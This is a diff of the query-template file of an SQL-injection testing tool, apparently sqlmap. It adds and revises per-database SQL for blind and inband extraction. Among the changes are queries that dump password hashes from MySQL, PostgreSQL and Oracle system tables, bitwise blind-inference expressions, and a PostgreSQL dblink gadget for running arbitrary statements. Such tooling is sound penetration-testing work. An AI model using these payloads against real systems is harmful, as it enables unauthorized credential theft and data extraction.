+            <inband query="SELECT user,IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string) FROM mysql.user" condition="user"/>
-            <blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
+            <blind query="SELECT DISTINCT(IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string)) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
         </passwords>
         <privileges>
             <inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>
@@ -47,6 +50,10 @@
             <inband query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST" query2="SELECT INFO FROM DATA_DICTIONARY.PROCESSLIST"/>
             <blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/>
         </statements>
+        <procedures>
+            <inband query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'/',SQL_DATA_ACCESS,'/',SECURITY_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
+            <blind query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'/',SQL_DATA_ACCESS,'/',SECURITY_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema') ORDER BY ROUTINE_SCHEMA,ROUTINE_NAME LIMIT %d,1" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
+        </procedures>
         <dbs>
             <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
             <blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d,1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
@@ -61,7 +68,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA='%s' AND TABLE_NAME='%s' AND CONSTRAINT_NAME='PRIMARY'" query="SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA='%s' AND TABLE_NAME='%s' AND CONSTRAINT_NAME='PRIMARY' ORDER BY ORDINAL_POSITION LIMIT %d,1"/>
         </dump_table>
         <search_db>
             <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" query2="SELECT db FROM mysql.db WHERE %s" condition="schema_name" condition2="db"/>
@@ -78,7 +86,7 @@
     </dbms>
 
     <dbms value="PostgreSQL">
-        <cast query="CAST(%s AS VARCHAR(10000))"/>
+        <cast query="CAST(%s AS TEXT)"/>
         <length query="LENGTH(%s)"/>
         <!-- NOTE: PostgreSQL does not like COALESCE with different data-types (e.g. COALESCE(id,' ')) -->
         <isnull query="COALESCE(%s::text,' ')"/>
@@ -96,6 +104,9 @@
         <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
         <hex query="ENCODE(CONVERT_TO((%s),'UTF8'),'HEX')"/>
         <inference query="ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d"/>
+        <bitmap query="((ASCII(SUBSTRING((%s)::text FROM (1+FLOOR((%s-%s)/%s))::int FOR 1))&gt;&gt;((%s-%s)%%%s))&amp;1)=1"/>
+        <bitchar query="((ASCII(SUBSTRING((%s)::text FROM (%s)::int FOR 1))&gt;&gt;(%s))&amp;1)=1"/>
+        <bitcol query="((%s&gt;&gt;%s)&amp;1)=1"/>
         <banner query="VERSION()"/>
         <current_user query="CURRENT_USER"/>
         <current_db query="CURRENT_SCHEMA()"/>
@@ -114,14 +125,22 @@
             <blind query="SELECT DISTINCT(passwd) FROM pg_shadow WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(passwd)) FROM pg_shadow WHERE usename='%s'"/>
         </passwords>
         <privileges>
-            <inband query="SELECT usename,(CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user" condition="usename"/>
+            <inband query="SELECT usename,(CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN userepl THEN 1 ELSE 0 END) FROM pg_user" condition="usename"/>
-            <blind query="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/>
+            <blind query="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END),(CASE WHEN usesuper THEN 1 ELSE 0 END),(CASE WHEN userepl THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/>
         </privileges>
         <roles/>
         <statements>
             <inband query="SELECT query FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;'"/>
             <blind query="SELECT DISTINCT(query) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(query)) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;'"/>
         </statements>
+        <procedures>
+            <inband query="SELECT n.nspname||'.'||p.proname||' ['||(CASE p.provolatile WHEN 'v' THEN 'VOLATILE' WHEN 's' THEN 'STABLE' ELSE 'IMMUTABLE' END)||(CASE WHEN p.prosecdef THEN '/DEFINER' ELSE '/INVOKER' END)||']: '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
+            <blind query="SELECT n.nspname||'.'||p.proname||' ['||(CASE p.provolatile WHEN 'v' THEN 'VOLATILE' WHEN 's' THEN 'STABLE' ELSE 'IMMUTABLE' END)||(CASE WHEN p.prosecdef THEN '/DEFINER' ELSE '/INVOKER' END)||']: '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema') ORDER BY n.nspname,p.proname OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
+        </procedures>
+        <gadgets>
+            <!-- Out-of-technique statement execution when stacked queries are not available (e.g. WHERE clause injection). The '%s' placeholder receives the hex-encoded statement, rebuilt server-side to survive string escaping. -->
+            <dblink check="(SELECT dblink_exec('dbname='||current_database(),'RESET application_name') IS NOT NULL)" command="(SELECT LENGTH(dblink_exec('dbname='||current_database(),CONVERT_FROM(DECODE('%s','hex'),'UTF8'))))"/>
+        </gadgets>
         <dbs>
             <inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
             <blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
@@ -136,7 +155,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s'" query="SELECT kcu.column_name FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s' ORDER BY kcu.ordinal_position OFFSET %d LIMIT 1"/>
         </dump_table>
         <search_db>
             <inband query="SELECT schemaname FROM pg_tables WHERE %s" condition="schemaname"/>
@@ -153,8 +173,8 @@
     </dbms>
 
     <dbms value="Microsoft SQL Server">
-        <cast query="CAST(%s AS NVARCHAR(4000))"/>
+        <cast query="CAST(%s AS NVARCHAR(MAX))"/>
-        <length query="LTRIM(STR(LEN(%s)))"/>
+        <length query="LTRIM(STR(LEN(%s+'.')-1))"/>
         <isnull query="ISNULL(%s,' ')"/>
         <delimiter query="+"/>
         <limit query="SELECT TOP %d "/>
@@ -170,6 +190,9 @@
         <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
         <hex query="master.dbo.fn_varbintohexstr(CAST(%s AS VARBINARY(8000)))"/>
         <inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
+        <bitmap query="((UNICODE(SUBSTRING((%s),1+((%s-%s)/%s),1))/POWER(2,((%s-%s)%%%s)))%%2)=1"/>
+        <bitchar query="((UNICODE(SUBSTRING((%s),%s,1))/POWER(2,(%s)))%%2)=1"/>
+        <bitcol query="((%s/POWER(2,%s))%%2)=1"/>
         <banner query="SELECT @@VERSION"/>
         <current_user query="SELECT SYSTEM_USER"/>
         <current_db query="SELECT DB_NAME()"/>
@@ -193,6 +216,11 @@
             <inband query="SELECT st.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) st"/>
             <blind query="SELECT TOP 1 a.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) a WHERE a.text NOT IN (SELECT TOP %d b.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) b ORDER BY b.text) ORDER BY a.text" count="SELECT LTRIM(STR(COUNT(st.text))) FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) st"/>
         </statements>
+        <!-- NOTE: o.type_desc carries SQL Server's fixed catalog-metadata collation (Latin1_General_CI_AS_KS_WS), which clashes with m.definition's database collation under '+' ("cannot resolve collation conflict"). Coercing the catalog string columns to DATABASE_DEFAULT makes the whole concat single-collation. o.name is usually already the database collation so its COLLATE is a no-op, but it is coerced too defensively, since catalog name-column collation can vary by version/config. -->
+        <procedures>
+            <inband query="SELECT o.name COLLATE DATABASE_DEFAULT+' ['+o.type_desc COLLATE DATABASE_DEFAULT+'] '+m.definition FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF')"/>
+            <blind query="SELECT o.name COLLATE DATABASE_DEFAULT+' ['+o.type_desc COLLATE DATABASE_DEFAULT+'] '+m.definition FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF') ORDER BY o.name OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT LTRIM(STR(COUNT(*))) FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF')"/>
+        </procedures>
         <dbs>
             <inband query="SELECT name FROM master..sysdatabases" query2="SELECT DB_NAME(%d)"/>
             <blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
@@ -202,12 +230,13 @@
             <blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
         </tables>
         <columns>
-            <inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
+            <inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns WHERE %s..syscolumns.id=OBJECT_ID('%s.%s')" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
-            <blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
+            <blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns WHERE %s..syscolumns.id=OBJECT_ID('%s.%s') AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns WHERE %s..syscolumns.id=OBJECT_ID('%s.%s') ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=OBJECT_ID('%s.%s')" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=OBJECT_ID('%s.%s')" condition="[DB]..syscolumns.name"/>
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s"/>
-            <blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s"/>
+            <blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT *, %s AS SQLMAPCAPVAL, ROW_NUMBER() OVER (ORDER BY %s) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT TOP 1 %s FROM %s WHERE %s ORDER BY %s" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')" query="SELECT name FROM (SELECT c.name AS name, ROW_NUMBER() OVER (ORDER BY ic.key_ordinal) AS rn FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id JOIN sys.columns c ON ic.object_id=c.object_id AND c.column_id=ic.column_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')) x WHERE rn=%d+1"/>
         </dump_table>
         <search_db>
             <inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
@@ -244,6 +273,9 @@
         NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php)
         -->
         <inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
+        <bitmap query="(BITAND(ASCII(SUBSTRC((%s),1+FLOOR((%s-%s)/%s),1)),POWER(2,MOD(%s-%s,%s)))&gt;0)"/>
+        <bitchar query="(BITAND(ASCII(SUBSTRC((%s),%s,1)),POWER(2,(%s)))&gt;0)"/>
+        <bitcol query="BITAND(%s,POWER(2,%s))&gt;0"/>
         <banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
         <current_user query="SELECT USER FROM DUAL"/>
         <!--
@@ -264,8 +296,8 @@
             <blind query="SELECT USERNAME FROM (SELECT USERNAME,ROWNUM AS CAP FROM SYS.ALL_USERS) WHERE CAP=%d" count="SELECT COUNT(USERNAME) FROM SYS.ALL_USERS"/>
         </users>
         <passwords>
-            <inband query="SELECT NAME,PASSWORD FROM SYS.USER$" condition="NAME"/>
+            <inband query="SELECT NAME,COALESCE(REGEXP_SUBSTR(SPARE4,'S:[0-9A-F]{60}'),REGEXP_SUBSTR(SPARE4,'T:[0-9A-F]{160}'),PASSWORD) FROM SYS.USER$" condition="NAME"/>
-            <blind query="SELECT PASSWORD FROM (SELECT PASSWORD,ROWNUM AS CAP FROM SYS.USER$ WHERE NAME='%s') WHERE CAP=%d" count="SELECT COUNT(PASSWORD) FROM SYS.USER$ WHERE NAME='%s'"/>
+            <blind query="SELECT COALESCE(REGEXP_SUBSTR(SPARE4,'S:[0-9A-F]{60}'),REGEXP_SUBSTR(SPARE4,'T:[0-9A-F]{160}'),PASSWORD) FROM (SELECT SPARE4,PASSWORD,ROWNUM AS CAP FROM SYS.USER$ WHERE NAME='%s') WHERE CAP=%d" count="SELECT COUNT(*) FROM SYS.USER$ WHERE NAME='%s'"/>
         </passwords>
         <!--
              NOTE: in Oracle to enumerate the privileges for the session user you can use:
@@ -287,14 +319,19 @@
             <inband query="SELECT SQL_TEXT FROM V$SQL"/>
             <blind query="SELECT SQL_TEXT FROM (SELECT SQL_TEXT,ROWNUM AS CAP FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%') WHERE CAP=%d" count="SELECT COUNT(SQL_TEXT) FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%'"/>
         </statements>
+        <!-- NOTE: ALL_SOURCE stores one row per source line, so LISTAGG reassembles them (subject to its 4000-char limit). ORACLE_MAINTAINED='N' (12.2+) cleanly excludes every Oracle built-in schema (SYS, WMSYS, LBACSYS, DVSYS, ...) instead of a hand-maintained blocklist. -->
+        <procedures>
+            <inband query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s"/>
+            <blind query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s ORDER BY NAME OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT COUNT(*) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N'))"/>
+        </procedures>
         <!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
         <dbs>
             <inband query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)"/>
             <blind query="SELECT OWNER FROM (SELECT OWNER,ROWNUM AS CAP FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)) WHERE CAP=%d" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES"/>
         </dbs>
         <tables>
-            <inband query="SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES" condition="OWNER"/>
+            <inband query="SELECT OWNER,OBJECT_NAME FROM SYS.ALL_OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%'" condition="OWNER"/>
-            <blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME,ROWNUM AS CAP FROM SYS.ALL_TABLES WHERE OWNER='%s') WHERE CAP=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE OWNER='%s'"/>
+            <blind query="SELECT OBJECT_NAME FROM (SELECT OBJECT_NAME,ROWNUM AS CAP FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%') WHERE CAP=%d" count="SELECT COUNT(OBJECT_NAME) FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%'"/>
         </tables>
         <columns>
             <inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
@@ -302,7 +339,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
-            <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
+            <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT c FROM (SELECT %s AS c FROM %s WHERE %s ORDER BY %s) WHERE ROWNUM=1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM all_cons_columns cols, all_constraints cons WHERE cons.constraint_type='P' AND cons.constraint_name=cols.constraint_name AND cons.owner=cols.owner AND UPPER(cols.owner)=UPPER('%s') AND UPPER(cols.table_name)=UPPER('%s')" query="SELECT column_name FROM (SELECT cols.column_name, ROW_NUMBER() OVER (ORDER BY cols.position) AS rn FROM all_cons_columns cols, all_constraints cons WHERE cons.constraint_type='P' AND cons.constraint_name=cols.constraint_name AND cons.owner=cols.owner AND UPPER(cols.owner)=UPPER('%s') AND UPPER(cols.table_name)=UPPER('%s')) WHERE rn=%d+1"/>
         </dump_table>
         <!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
         <search_db>
@@ -338,6 +376,9 @@
         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
         <hex query="HEX(%s)"/>
         <inference query="SUBSTR((%s),%d,1)>'%c'"/>
+        <bitmap query="((UNICODE(SUBSTR((%s),1+((%s-%s)/%s),1))&gt;&gt;((%s-%s)%%%s))&amp;1)=1"/>
+        <bitchar query="((UNICODE(SUBSTR((%s),%s,1))&gt;&gt;(%s))&amp;1)=1"/>
+        <bitcol query="((%s&gt;&gt;%s)&amp;1)=1"/>
         <banner query="SELECT SQLITE_VERSION()"/>
         <current_user/>
         <current_db/>
@@ -362,7 +403,7 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s"/>
-            <blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
+            <blind query="SELECT %s FROM %s ORDER BY rowid LIMIT %d,1" count="SELECT COUNT(*) FROM %s" rowid="rowid" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
         </dump_table>
         <search_db/>
         <search_table>
@@ -418,8 +459,8 @@
 
    <dbms value="Firebird">
         <!--Firebird doesn't like big VARCHARs-->
-        <cast query="TRIM(CAST(%s AS VARCHAR(8000)))"/>
+        <cast query="TRIM(TRAILING FROM CAST(%s AS VARCHAR(8000)))"/>
-        <length query="CHAR_LENGTH(TRIM(%s))"/>
+        <length query="CHAR_LENGTH(TRIM(TRAILING FROM %s))"/>
         <delimiter query="||"/>
         <limit query="ROWS %d TO %d"/>
         <limitregexp query="\s+ROWS\s+([\d]+)(\s+TO\s+([\d]+))?"/>
@@ -442,16 +483,16 @@
         <column_comment/>
